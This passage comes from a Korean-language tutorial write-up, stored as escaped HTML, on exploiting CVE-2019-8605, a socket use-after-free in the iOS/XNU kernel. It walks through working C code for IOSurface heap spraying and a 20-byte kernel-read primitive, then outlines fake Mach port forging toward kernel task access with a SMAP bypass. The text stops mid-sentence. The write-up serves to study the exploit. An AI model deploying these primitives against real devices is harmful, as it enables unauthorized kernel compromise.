\ub178\ub4dc \uc218 \uacc4\uc0b0\u201d\uc5d0 \ub300\ud574 \uc0b4\ud3b4\ubcf4\uba74<\/p>\n<p>\uc2dc\ub9ac\uc5bc\ub77c\uc774\uc988\ub41c \ub370\uc774\ud130\ub294 \ucee4\ub110\uc5d0\uc11c OSString\uc73c\ub85c \ud45c\ud604\ub418\ubbc0\ub85c, \ub05d\uc5d0 \ub4e4\uc5b4\uac00\ub294 <code>\\0<\/code>\ub97c \uace0\ub824\ud574\uc57c \ud55c\ub2e4.\n\uc774\ub54c \ub370\uc774\ud130\uc758 \ub9c8\uc9c0\ub9c9 \ud55c \ubc14\uc774\ud2b8\ub97c  <code>\\0<\/code>\ub85c \uc0ac\uc6a9\ud558\ubbc0\ub85c, \uc2e4\uc81c \ub370\uc774\ud130 \ud06c\uae30\ub294 <code>size - 1<\/code>\uc774 \ub41c\ub2e4.<\/p>\n<p>\uc774\ud6c4 \uacf5\uc2dd\uc740 <code>(actual_size + n - 1) \/ n<\/code>\uc73c\ub85c \ub098\ud0c0\ub0b4\ub294\ub370, \uc774\ub294 \uc804\ud615\uc801\uc778 \uc62c\ub9bc(Ceiling) \ud568\uc218\ub85c,\n<code>actual_size<\/code>\ub97c 4(XML Unit \ud06c\uae30)\ub85c \ub098\ub208 \ub4a4 \uc62c\ub9bc\ud55c \uac12\uc744 \uc758\ubbf8\ud55c\ub2e4.<\/p>\n<p>\ucd5c\uc885\uc801\uc73c\ub85c \uac01 Spraying Data\uac00 \ucc28\uc9c0\ud558\ub294 XML Unit \uc218\ub97c \uacc4\uc0b0\ud558\uc5ec <code>xml_units_per_data<\/code>\uc5d0 \uc800\uc7a5\ud55c\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c \ub2e4\uc74c \ucf54\ub4dc\uac00 \uc0ac\uc6a9\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/*\n * xml_units_for_data_size\n *\n * Description:\n * \tReturn the number of XML units needed to store the given size of data in an OSString.\n *\/\nstatic size_t\nxml_units_for_data_size(size_t data_size) {\n\treturn ((data_size - 1) + sizeof(uint32_t) - 1) \/ sizeof(uint32_t);\n}\n<\/code><\/pre>\n<p>\ub2e4\uc74c\uc73c\ub85c, 4\ub2e8\uacc4; \u201c\uc5ec\uae30\uc11c \uc5ec\ub7ec \uac1c\uc758 1\uc740 Spraying Data \uc678\uc5d0 \uace0\uc815\ub41c XML \ub178\ub4dc\ub97c \uc758\ubbf8\ud558\uba70, \uad6c\uccb4\uc801\uc778 \uad6c\uc131\uc740 \uc774\ud6c4\uc5d0 \ud655\uc778\ud560 \uc218 \uc788\uc74c\u201d\uc744 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p><code>xml_units_per_data<\/code>\ub97c \uae30\ubc18\uc73c\ub85c \uc804\uccb4 XML Unit \uc218\ub97c \uacc4\uc0b0\ud55c\ub2e4.<\/p>\n<p><code>(1 + xml_units_per_data) * current_array_length<\/code> \ubd80\ubd84\uc740 OSString Header + Data \uad6c\uc870\ub97c <code>current_array_length<\/code>\ubc88 \ubc18\ubcf5\ud55c \ub4a4\uc758 Unit \uc218\ub97c \uc758\ubbf8\ud558\uba70,\n\uc55e\ub4a4\uc758 3\uac1c\uc758 **<code>1<\/code>**\uc740 \ucd94\uac00\uc801\uc778 \uc124\uba85\uc6a9 XML Unit\uc744 \ub098\ud0c0\ub0b8\ub2e4.<\/p>\n<pre><code class=\"language-c\">size_t xml_units = 1 + 1 + 1 + (1 + xml_units_per_data) * current_array_length + 1 + 1 + 1;\n<\/code><\/pre>\n<p>6\ub2e8\uacc4\uc5d0\uc11c\ub294 XML\uc5d0\uc11c \ucc44\uc6cc\uc57c \ud560 <code>current_array_length<\/code>\uac1c\uc758 OSString Child Unit Header\ub97c \uac00\ub9ac\ud0a4\ub294 XML Unit \ud3ec\uc778\ud130 \ubc30\uc5f4\uc744 \uc900\ube44\ud55c\ub2e4.<\/p>\n<p>\uc774 \ubc30\uc5f4\uc740 XML \uad6c\uc131 \uacfc\uc815\uc5d0\uc11c \uc0ac\uc6a9\ub418\uba70, <code>current_array_length<\/code>\uac1c\uc758 OSString Header Unit \uc8fc\uc18c\ub97c \uc800\uc7a5\ud574 \ub450\uc5c8\ub2e4\uac00 \uc774\ud6c4 Spraying Data\ub97c XML\uc5d0 \ubcf5\uc0ac\ud560 \ub54c \ucc38\uc870\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">uint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));\n<\/code><\/pre>\n<p>\uac00\uc7a5 \uc911\uc694\ud55c \ud575\uc2ec\uc740 7\ub2e8\uacc4\uc5d0\uc11c <code>serialize_IOSurface_data_array<\/code>\ub97c \ud638\ucd9c\ud558\ub294 \ubd80\ubd84\uc774\ub2e4.\n\uc5ec\uae30\uc11c <code>args-&gt;xml<\/code>\uc740 XML Unit \ud3ec\uc778\ud130\ub85c, \ud558\ub098\uc758 XML Header Unit\uc744 \uac00\ub9ac\ud0a8\ub2e4.<\/p>\n<pre><code class=\"language-c\">#if 0\nstruct IOSurfaceValueArgs {\n    uint32_t surface_id;\n    uint32_t _out1;\n    union {\n        uint32_t xml[0];\n        char string[0];\n    };\n};\n#endif\nstruct IOSurfaceValueArgs *args;\nsize_t args_size = sizeof(*args) + xml_units * sizeof(args-&gt;xml[0]);\nargs = malloc(args_size);\n\/\/ 7. XML \uad6c\uc131\nuint32_t *key;\nuint32_t **xml_data = malloc(current_array_length * sizeof(*xml_data));\nsize_t xml_size = serialize_IOSurface_data_array(args-&gt;xml, current_array_length, data_size, xml_data, &amp;key);\n<\/code><\/pre>\n<p>\uc0ac\uc804 \uc900\ube44\uac00 \uc644\ub8cc\ub418\uc5c8\uc73c\ubbc0\ub85c, \uc774\ud6c4 \uacc4\uc0b0\uc740 \ubcf5\uc7a1\ud558\uc9c0 \uc54a\ub2e4.\n\ub2e4\uc74c \ucf54\ub4dc\ub294 XML Linked-List\ub97c \uc21c\ucc28\uc801\uc73c\ub85c \uc5f0\uacb0\ud558\ub294 \uacfc\uc815\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">static size_t\nserialize_IOSurface_data_array(uint32_t *xml0, uint32_t array_length, uint32_t data_size, uint32_t **xml_data, uint32_t **key) {\n    uint32_t *xml = xml0;\n    *xml++ = kOSSerializeBinarySignature;\n    *xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;\n    *xml++ = kOSSerializeArray | array_length;\n    for (size_t i = 0; i &lt; array_length; i++) {\n    \tuint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);\n    \t*xml++ = kOSSerializeData | (data_size - 1) | flags;\n    \txml_data[i] = xml;\n    \txml += xml_units_for_data_size(data_size);\n    }\n    *xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;\n    *key = xml++; \/\/ This will be filled in on each array loop.\n    *xml++ = 0;\t\/\/ Null-terminate the symbol.\n    return (xml - xml0) * sizeof(*xml);\n}\n<\/code><\/pre>\n<p><code>xml0<\/code>\ub294 \ud604\uc7ac XML Header Units\uc774\uba70, <code>xml<\/code> \ubcc0\uc218\ub97c \ucee4\uc11c\ub85c \uc815\uc758\ud574 XML\uc744 \ub2e8\uacc4\ubcc4\ub85c \uad6c\uc131\ub41c\ub2e4.\n\uac01 XML Unit\uc740 <code>uint32<\/code> \ud558\ub098\ub85c \ud45c\ud604\ub418\uba70,<\/p>\n<p>\ud5e4\ub354\uc758 \uccab 3\uac1c \ubb38\uc7a5\uc744 \uc608\ub85c \ub4e4\uba74:<\/p>\n<pre><code class=\"language-c\">*xml++ = kOSSerializeBinarySignature;\n*xml++ = kOSSerializeArray | 2 | kOSSerializeEndCollection;\n*xml++ = kOSSerializeArray | array_length;\n<\/code><\/pre>\n<p>\uc774\ub294 \ub2e4\uc74c\uacfc \uac19\uc740 XML \uad6c\uc870\ub97c \uc120\uc5b8\ud55c \uac83\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-xml\">&lt;kOSSerializeBinarySignature \/&gt;\n&lt;kOSSerializeArray&gt;2&lt;\/kOSSerializeArray&gt;\n&lt;kOSSerializeArray length=${array_length}&gt;\n<\/code><\/pre>\n<p>\uc774\ud6c4 \ub8e8\ud504\ub97c \ud1b5\ud574 <code>array_length<\/code>\uac1c\uc758 OSString\uc744 OSArray\uc5d0 \ucc44\uc6b0\uace0,\n\uc774\ub4e4 OSString\uc758 XML Unit \uc8fc\uc18c\ub97c <code>xml_data<\/code> \ud3ec\uc778\ud130 \ubc30\uc5f4\uc5d0 \uc800\uc7a5\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">for (size_t i = 0; i &lt; array_length; i++) {\n\tuint32_t flags = (i == array_length - 1 ? kOSSerializeEndCollection : 0);\n\t*xml++ = kOSSerializeData | (data_size - 1) | flags;\n\txml_data[i] = xml;\n\txml += xml_units_for_data_size(data_size);\n}\n<\/code><\/pre>\n<p>\uc774\ub97c \ud1b5\ud574 \ub2e4\uc74c\uacfc \uac19\uc740 XML\uc774 \uad6c\uc131\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-xml\">&lt;kOSSerializeBinarySignature \/&gt;\n&lt;kOSSerializeArray&gt;2&lt;\/kOSSerializeArray&gt;\n&lt;kOSSerializeArray length=${array_length}&gt;\n    &lt;kOSSerializeData length=${data_size - 1}&gt;\n        &lt;!-- xml_data[0] --&gt;\n    &lt;\/kOSSerializeData&gt;\n    &lt;kOSSerializeData length=${data_size - 1}&gt;\n        &lt;!-- xml_data[1] --&gt;\n    &lt;\/kOSSerializeData&gt;\n    &lt;!-- ... --&gt;\n    &lt;kOSSerializeData length=${data_size - 1}&gt;\n        &lt;!-- xml_data[array_length - 1] --&gt;\n    &lt;\/kOSSerializeData&gt;\n&lt;\/kOSSerializeArray&gt;\n<\/code><\/pre>\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c \ucc44\uc6cc\uc9c0\ub294 \uac83\uc740 \uaf2c\ub9ac \ubd80\ubd84\uc758 XML Units\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">*xml++ = kOSSerializeSymbol | sizeof(uint32_t) + 1 | kOSSerializeEndCollection;\n*key = xml++; \/\/ This will be filled in on each array loop.\n*xml++ = 0; \/\/ Null-terminate the symbol.\n<\/code><\/pre>\n<p>\uc5ec\uae30\uc5d0\ub294 3\uac1c\uc758 Units\uac00 \ud3ec\ud568\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-xml\">&lt;kOSSerializeSymbol&gt;${sizeof(uint32_t) + 1}&lt;\/kOSSerializeSymbol&gt;\n&lt;key&gt;${key}&lt;\/key&gt;\n0\n<\/code><\/pre>\n<p>\uc774\uac83\uc740 \uc55e\uc11c \uc5b8\uae09\ud55c XML Units \uacc4\uc0b0\uc5d0\uc11c \ub4a4\uc5d0 \ubd99\ub294 <code>+3<\/code>\uc744 \ub4b7\ubc1b\uce68\ud558\uba70,\n\ub530\ub77c\uc11c \ucd5c\uc885\uc801\uc73c\ub85c \uc5bb\uc5b4\uc9c0\ub294 XML\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-xml\">&lt;kOSSerializeBinarySignature \/&gt;\n&lt;kOSSerializeArray&gt;2&lt;\/kOSSerializeArray&gt;\n&lt;kOSSerializeArray length=${array_length}&gt;\n    &lt;kOSSerializeData length=${data_size - 1}&gt;\n        &lt;!-- xml_data[0] --&gt;\n    &lt;\/kOSSerializeData&gt;\n    &lt;kOSSerializeData length=${data_size - 1}&gt;\n        &lt;!-- xml_data[1] --&gt;\n    &lt;\/kOSSerializeData&gt;\n    &lt;!-- ... --&gt;\n    &lt;kOSSerializeData length=${data_size - 1}&gt;\n        &lt;!-- xml_data[array_length - 1] --&gt;\n    &lt;\/kOSSerializeData&gt;\n&lt;\/kOSSerializeArray&gt;\n&lt;kOSSerializeSymbol&gt;${sizeof(uint32_t) + 1}&lt;\/kOSSerializeSymbol&gt;\n&lt;key&gt;${key}&lt;\/key&gt;\n0\n<\/code><\/pre>\n<p>\uc774 \uc2dc\uc810\uc5d0\uc11c XML \uad6c\uc870\ub294 \uc774\ubbf8 \uc644\uc804\ud788 \uad6c\uc131\ub418\uc5c8\uace0,\nxml_data \uc790\ub9ac \ud45c\uc2dc\uc790\uc5d0 Spraying Data\ub97c \ucc44\uc6b0\uace0 key\uc5d0 \uc2dd\ubcc4\uc790\ub97c \ucc44\uc6cc \ub123\uae30\ub9cc \ud558\uba74 \uc870\ub9bd\uc774 \uc644\ub8cc\ub41c\ub2e4.<\/p>\n<h3><strong>\ub370\uc774\ud130 \uc870\ub9bd<\/strong><\/h3>\n<p>\ub2e4\uc74c \ucf54\ub4dc\ub294 \ub370\uc774\ud130 \ucc44\uc6b0\uae30\uc640 \ucee4\ub110\ub85c\uc758 \ub370\uc774\ud130 \uc804\uc1a1\uc744 \uc644\ub8cc\ud558\uba70, \uc704\uc758 \ub17c\uc758\ub97c \ubc14\ud0d5\uc73c\ub85c \uc774\ud574\ud558\uae30 \uc27d\ub2e4.<\/p>\n<p>\ucf54\ub4dc\uc5d0\uc11c \ud45c\uc2dc\ub41c 3\uac1c\uc758 \ud575\uc2ec \ub2e8\uacc4\ub97c \ud1b5\ud574 \uc870\ub9bd\ub41c XML\uc744 \ucee4\ub110 \ud504\ub808\uc784\ubc84\ud37c\ub85c \uc804\uc1a1\ud558\uba74,\n\ucee4\ub110\uc774 \uadf8 \uc548\uc758 OSString\uc5d0 \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ud558\uae30 \ub54c\ubb38\uc5d0 \uc774 \uacfc\uc815\uc5d0\uc11c Heap Spraying\uc774 \uc644\ub8cc\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ Keep track of when we need to do GC.\nstatic uint32_t total_arrays = 0;\nsize_t sprayed = 0;\nsize_t next_gc_step = 0;\n\/\/ Loop through the arrays.\nfor (uint32_t array_id = 0; array_id &lt; array_count; array_id++) {\n    \/\/ If we've crossed the GC sleep boundary, sleep for a bit and schedule the\n    \/\/ next one.\n    \/\/ Now build the array and its elements.\n    \/\/ 1. \uace0\uc720 \uc2dd\ubcc4\uc790\ub97c \uc0dd\uc131\ud558\uc5ec key\uc5d0 \ucc44\uc6b0\uae30\n    *key = base255_encode(total_arrays + array_id);\n    for (uint32_t data_id = 0; data_id &lt; current_array_length; data_id++) {\n        \/\/ Copy in the data to the appropriate slot.\n        \/\/ 2. \ub370\uc774\ud130\ub97c OSString\uc5d0 \ucc44\uc6b0\uae30\n        memcpy(xml_data[data_id], data, data_size - 1);\n    }\n    \n    \/\/ 3.\ucee4\ub110\ub85c \ub370\uc774\ud130 \uc804\uc1a1\ud558\uae30\n    \/\/ Finally set the array in the surface.\n    ok = IOSurface_set_value(args, args_size);\n    if (!ok) {\n    \tfree(args);\n    \tfree(xml_data);\n    \treturn false;\n    }\n    if (ok) {\n        sprayed += data_size * current_array_length;\n    }\n}\n<\/code><\/pre>\n<p>\ucee4\ub110\ub85c \ub370\uc774\ud130 \uc804\uc1a1\ud560 \ub54c\uc758 \ub370\uc774\ud130\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p>\ud55c\ub208\uc5d0 \uc0b4\ud3b4\ubcf4\uae30 \uc704\ud574\nIOSurface_set_value \ud638\ucd9c\uc9c1\uc804\uc5d0 \ub370\uc774\ud130\ub97c \ub364\ud504\uc2dc\ud0a4\ub294 \ucf54\ub4dc\ub97c \uc791\uc131\ud558\uc600\uace0,<\/p>\n<pre><code class=\"language-c\">void dump_xml_data(void *data, size_t length) {\n    static int count = 0;\n    char filename[32];\n    snprintf(filename, sizeof(filename), &quot;xml_data_dump_%d.bin&quot;, ++count);\n\n    FILE *fp = fopen(filename, &quot;wb&quot;);\n    if (!fp) {\n        perror(&quot;fopen&quot;);\n        return;\n    }\n    fwrite(data, 1, length, fp);\n    fclose(fp);\n}\n\n\/\/XXX: Dump\ndump_xml_data(args, args_size);\n\n\/\/ Finally set the array in the surface.\nok = IOSurface_set_value(args, args_size);\n<\/code><\/pre>\n<p>\uadf8 \uacb0\uacfc \uc544\ub798\uc640 \uac19\ub2e4.\n\uc544\ub798\ub294 32\uac1c\uc758 \uc2a4\ud504\ub808\uc774\ub97c \ubc30\uc5f4 \uc0dd\uc131\ud558\uace0\ub098\uc11c\n\uccab\ubc88\uc9f8\uc758 \uc2a4\ud504\ub808\uc774\ub97c \uc804\uc1a1\uc2dc\ud0ac \ub584 \ub370\uc774\ud130\ub97c \uc544\ub798\uc640 \uac19\uc774 \ub098\ud0c0\ub0bc \uc218 \uc788\ub2e4.<\/p>\n<p>255\uac1c\uc758 OSArray\uac00 \ub4e4\uc5b4\uac00\uace0, OSArray \uc548\uc5d0\ub294 \uc704\uc870\uc2dc\ud0ac <code>in6p_outputopts<\/code> 192\ubc14\uc774\ud2b8\uac00 \ub4e4\uc5b4\uac00\uc788\ub2e4.<\/p>\n<p>\ub9e8 \ud558\ub2e8\uc5d0 base255_encode \ud568\uc218\uac00 \uc218\ud589\ub418\ub294\ub370, \uba87\ubc88\uc9f8\ub0d0\uc5d0 \ub530\ub77c\n\ub9e4\uac1c\ubcc0\uc218\uac00 \ub4e4\uc5b4\uac00\ub294 \uac12\uc774 0, 1, \u2026 31\uc774 \ub4e4\uc5b4\uac00\uba74\uc11c \ub2e4\ub974\uac8c \uc4f0\uc778\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-8605\/pics\/image%205.png\" alt=\"image.png\"><\/p>\n<h3><strong>IOSurface Heap Spraying\uc744 \uc0ac\uc6a9\ud558\uc5ec kread \uad6c\ud604<\/strong><\/h3>\n<p>\uc5ec\ub7ec \uac1c\uc758 dangling <code>in6p_outputopts<\/code>\ub97c \uad6c\uc131\ud55c \ub4a4,\n\uc704\uc870\ud55c <code>in6p_outputopts<\/code>\ub85c \uc2a4\ud504\ub808\uc774\ub97c \uc218\ud589\ud558\uc5ec \uc704\uc870 \ub370\uc774\ud130 \uad6c\uc870\uc758 <code>pktinfo<\/code>\ub97c \uc77d\uace0\uc790 \ud558\ub294 \uc8fc\uc18c\ub85c \uc9c0\uc815\ud558\uace0,\n<code>minmtu<\/code>\ub97c \uc2dd\ubcc4\uc790\ub85c \uc0ac\uc6a9\ud574 IOSurface \uc2a4\ud504\ub808\uc774\ub97c \uc9c4\ud589\ud55c\ub2e4.<\/p>\n<p>\uc774\ud6c4 <code>minmtu<\/code>\ub97c \uae30\ubc18\uc73c\ub85c \uc2a4\ud504\ub808\uc774\uc5d0 \uc131\uacf5\ud55c dangling <code>in6p_outputopts<\/code> \uc601\uc5ed\uc744 \uc120\ud0dd\ud558\uace0,\n<code>getsockopt<\/code>\uc744 \uc0ac\uc6a9\ud574 <code>pktinfo<\/code> \uad6c\uc870\uccb4\uc758 \ub0b4\uc6a9\uc744 \uac00\uc838\uc628\ub2e4.<\/p>\n<p>\ud574\ub2f9 \uad6c\uc870\uccb4\uc758 \ud06c\uae30\ub294 20\ubc14\uc774\ud2b8\uc774\ubbc0\ub85c, \uc774\ub97c \ud1b5\ud574 \uc9c0\uc815\ub41c \ucee4\ub110 \uc8fc\uc18c\uc758 20\ubc14\uc774\ud2b8 \ub370\uc774\ud130\ub97c \uc77d\uc5b4\ub0bc \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ second primitive: read 20 bytes from addr\nvoid* read_20_via_uaf(uint64_t addr) {\n    \/\/ create a bunch of sockets\n    int sockets[128];\n    for (int i = 0; i &lt; 128; i++) {\n        sockets[i] = get_socket_with_dangling_options();\n    }\n    \n    \/\/ create a fake struct with our dangling port address as its pktinfo\n    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));\n    fake_opts-&gt;ip6po_minmtu = 0x41424344; \/\/ give a number we can recognize\n    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; \/\/ on iOS 10, offset is different\n    fake_opts-&gt;ip6po_pktinfo = (struct in6_pktinfo*)addr;\n    \n    bool found = false;\n    int found_at = -1;\n    \n    for (int i = 0; i &lt; 20; i++) { \/\/ iterate through the sockets to find if we overwrote one\n        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));\n        \n        for (int j = 0; j &lt; 128; j++) {\n            int minmtu = -1;\n            get_minmtu(sockets[j], &amp;minmtu);\n            if (minmtu == 0x41424344) { \/\/ found it!\n                found_at = j; \/\/ save its index\n                found = true;\n                break;\n            }\n        }\n        if (found) break;\n    }\n    \n    free(fake_opts);\n    \n    if (!found) {\n        printf(&quot;[-] Failed to read kernel\\n&quot;);\n        return 0;\n    }\n    \n    for (int i = 0; i &lt; 128; i++) {\n        if (i != found_at) {\n            close(sockets[i]);\n        }\n    }\n    \n    void *buf = malloc(sizeof(struct in6_pktinfo));\n    get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf);\n    close(sockets[found_at]);\n    \n    return buf;\n}\n<\/code><\/pre>\n<h2>3. fake port\ub97c \ud1b5\ud55c \ucee4\ub110 \uc77d\uae30\/\uc4f0\uae30 \uad6c\ud604<\/h2>\n<p>\uc6b0\uc120 \uc804\uccb4\uc801\uc73c\ub85c \uc124\uba85\uc744 \uc694\uc57d\ud558\uc790\uba74 \ub2e4\uc74c\uacfc \uac19\uc740 \ud750\ub984\uc744 \uac00\uc9c4\ub2e4.<\/p>\n<ol>\n<li>\ud504\ub85c\uc138\uc2a4 \uc790\uc2e0\uc758 <code>self_port_address<\/code>\ub97c \ub204\ucd9c\uc2dc\ucf1c \ub2e4\uc74c \uc815\ubcf4\ub97c \uc5bb\ub294\ub2e4.<\/li>\n<\/ol>\n<ul>\n<li><code>self_task_address<\/code><\/li>\n<li><code>ipc_space_kernel<\/code><\/li>\n<\/ul>\n<ol start=\"2\">\n<li><code>pipe<\/code> \ud568\uc218\ub97c \uc0ac\uc6a9\ud574 \ud504\ub85c\uc138\uc2a4 \uac04 \ud1b5\uc2e0\uc6a9 \ud30c\uc774\ud504 \ud578\ub4e4 \uc30d(<code>fds<\/code>)\uc744 \ud560\ub2f9\ud55c\ub2e4.\n\uc774\ub54c <code>self_task_address<\/code>\uc5d0 \ud3ec\ud568\ub41c proc \uad6c\uc870\uccb4 \uc815\ubcf4\ub97c \ud1b5\ud574 \ucee4\ub110 \ub0b4\uc5d0 \ud560\ub2f9\ub41c \ud30c\uc774\ud504 \ubc84\ud37c\uc758 \uc2e4\uc81c \uc8fc\uc18c(<code>pipe_buffer_address<\/code>)\ub97c \uc870\ud68c\ud560 \uc218 \uc788\ub2e4.\n<ol>\n<li><code>pipe<\/code>\ub294 \ud504\ub85c\uc138\uc2a4 \uac04 \uc77d\uae30\/\uc4f0\uae30\uac00 \uac00\ub2a5\ud55c \ud30c\uc77c \ub514\uc2a4\ud06c\ub9bd\ud130 \uc30d\uc744 \uc0dd\uc131\ud558\uba70,\n\uc77d\uae30\/\uc4f0\uae30 \ub3d9\uc791 \uc2dc \ucee4\ub110\uc5d0 \ub300\uc751\ud558\ub294 \ubc84\ud37c\ub97c \ud560\ub2f9\ud55c\ub2e4.<\/li>\n<\/ol>\n<\/li>\n<li>\uc55e\uc11c \ub2e4\ub8ec IOSurface \uc2a4\ud504\ub808\uc774 \uae30\ubc95\uc5d0 Socket UAF\ub97c \uacb0\ud569\ud558\uc5ec, <code>pipe_buffer_address<\/code>\uc5d0 \ud574\ub2f9\ud558\ub294 \ubc84\ud37c\ub97c \ud574\uc81c\uc2dc\ud0a8\ub2e4.\n\uc774\ub97c \ud1b5\ud574 \uc774\ubbf8 \ud574\uc81c\ub41c \ud30c\uc774\ud504 \ubc84\ud37c \uc601\uc5ed\uc744 \ud655\ubcf4\ud560 \uc218 \uc788\ub2e4.<\/li>\n<li><code>send<\/code> \uad8c\ud55c\uc744 \uac00\uc9c4 Mach \ud3ec\ud2b8\ub97c \ud558\ub098 \uc0dd\uc131\ud55c \ub4a4, OOL(Out-of-Line) \uba54\uc2dc\uc9c0 \uc2a4\ud504\ub808\uc774\ub97c \uc774\uc6a9\ud574 \uc774 \ud3ec\ud2b8\ub4e4\uc744 \ud574\uc81c\ub41c \ud30c\uc774\ud504 \ubc84\ud37c\uc5d0 \uc8fc\uc785\ud55c\ub2e4.\n\ucee4\ub110\uc740 \uc774 \ubc84\ud37c\ub97c \uc720\ud6a8\ud55c \ud3ec\ud2b8 \ubc30\uc5f4\ub85c \uc778\uc2dd\ud55c\ub2e4.<\/li>\n<li>\uc774\uc81c fake \ud3ec\ud2b8\uc640 fake task\ub97c \uc704\uc870\ud558\uc5ec, \ud574\ub2f9 fake \ud3ec\ud2b8\uc758 \uc8fc\uc18c(<code>fake_port_address<\/code>)\ub97c \ud30c\uc774\ud504 \ubc84\ud37c\uc758 \uc55e 8\ubc14\uc774\ud2b8\ub85c \ub36e\uc5b4\uc4f4\ub2e4.\n\uc774 \uacfc\uc815\uc744 \ud1b5\ud574 \uc6b0\ub9ac\ub294 <code>send<\/code> \uad8c\ud55c\uc744 \uac00\uc9c4 \ucee8\ud2b8\ub864 \uac00\ub2a5\ud55c IPC \ud3ec\ud2b8\uc640 task\ub97c \uc190\uc5d0 \ub123\uac8c \ub41c\ub2e4.<\/li>\n<li>\uc774\uc804\uc5d0 \ubcf4\ub0c8\ub358 OOL \uba54\uc2dc\uc9c0\ub97c \uc218\uc2e0\ud558\uba74, \uc2a4\ud504\ub808\uc774\uc5d0 \uc0ac\uc6a9\ud55c \ud3ec\ud2b8 \ubc30\uc5f4\uc744 \ub2e4\uc2dc \uc5bb\uac8c \ub418\ub294\ub370,\n\uc774\ub54c <code>ports[0]<\/code>\uc774 \uc6b0\ub9ac\uc758 fake \ud3ec\ud2b8\ub85c \ub300\uccb4\ub418\uc5b4 \uc644\uc804\ud55c \uc81c\uc5b4\uad8c\uc744 \ud68d\ub4dd\ud560 \uc218 \uc788\ub2e4.<\/li>\n<li>\uc774 fake \ud3ec\ud2b8\ub97c \uc870\uc791\ud558\uc5ec \ubcf4\ub2e4 \uc548\uc815\uc801\uc778 \ucee4\ub110 \uc77d\uae30 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \ud655\ubcf4\ud55c\ub2e4.\n\uc774\ud6c4 \uc774\ub97c \uc774\uc6a9\ud574 \ucee4\ub110 \ud504\ub85c\uc138\uc2a4\ub97c \uc5f4\uac70\ud55c \ub4a4, \ucee4\ub110\uc758 <code>vm_map<\/code>\uc744 \uc5bb\ub294\ub2e4.<\/li>\n<li>\uc5bb\uc740 \ucee4\ub110 <code>vm_map<\/code>\uc744 fake \ud3ec\ud2b8\uc5d0 \ud560\ub2f9\ud558\uba74, \ud574\ub2f9 fake \ud3ec\ud2b8\ub294 \uc644\uc804\ud55c \ucee4\ub110 task \ud3ec\ud2b8\uac00 \ub418\uc5b4 tfp0 \uad8c\ud55c\uc744 \uc5bb\uc744 \uc218 \uc788\uac8c \ub41c\ub2e4.<\/li>\n<\/ol>\n<p>\uc5ec\uae30\uc11c \uc0ac\uc6a9\ub41c \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\ub294 SMAP \uc6b0\ud68c\ub3c4 \uace0\ub824\ud574\uc11c \ub9cc\ub4e4\uc5b4\uc838\uc788\ub2e4.<\/p>\n<p>\ucee4\ub110 \uacf5\uac04\uc5d0\uc11c \uc720\uc800 \uacf5\uac04\uc5d0 \ub300\ud55c \uc77d\uae30\/\uc4f0\uae30 \uad8c\ud55c\ub3c4 \uc81c\ud55c\ud558\ub294\u00a0\ubcf4\ud638\uae30\ubc95\uc744 Supervisor Mode Access Prevention.\n\uc904\uc5ec\uc11c SMAP \uc774\ub77c\uace0 \ud55c\ub2e4.<\/p>\n<p>pipe \ud568\uc218 \ud638\ucd9c\uc744 \ud1b5\ud574 \uc6b0\ud68c\ud55c\ub2e4\ub294\ub370, \ud55c\ubc88 \uc0b4\ud3b4\ubcf4\uc790\u2026<\/p>\n<p>\ud30c\uc774\ud504\ub294 \uc77d\uace0 \uc4f8 \ub54c, \ud504\ub85c\uc138\uc2a4 \uac04 \uba54\ubaa8\ub9ac \uacf5\uc720\ub97c \uad6c\ud604\ud558\uae30 \uc704\ud574 \ubc84\ud37c\uac00 \ucee4\ub110 \uacf5\uac04\uc5d0 \ud560\ub2f9\ub41c\ub2e4.<\/p>\n<p>\uc0ac\uc6a9\uc790 \ubaa8\ub4dc\uc5d0\uc11c\ub294 fd \ud578\ub4e4\ub9cc \uc5bb\uace0, \ud574\ub2f9 fd\uc5d0 \ub300\uc751\ud558\ub294 \ubc84\ud37c \uc8fc\uc18c\ub294 task \ud3ec\ud2b8\uc5d0 \uae30\ub85d\ub418\uc5b4 \uc788\ub2e4.\n\uc774\ubbf8 \uc720\ucd9c\ub41c task \ud3ec\ud2b8\uc640 \uc55e\uc11c \uc124\uba85\ud55c \ucee4\ub110 \uc77d\uae30 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \uc774\uc6a9\ud558\uba74 \ucee4\ub110 \ub0b4 \ubc84\ud37c \uc8fc\uc18c\ub97c \ud68d\ub4dd\ud560 \uc218 \uc788\ub294\ub370,\n\uc774\ub807\uac8c \ud574\uc11c \uac04\uc811\uc801\uc73c\ub85c \ucee4\ub110 \ub0b4 \uc81c\uc5b4 \uac00\ub2a5\ud55c \uc601\uc5ed\uc744 \uc5bb\ub294\ub2e4.<\/p>\n<p>\uba3c\uc800, \ucee4\ub110\uc5d0 0x10000 \ud06c\uae30\uc758 \ubc84\ud37c\ub97c 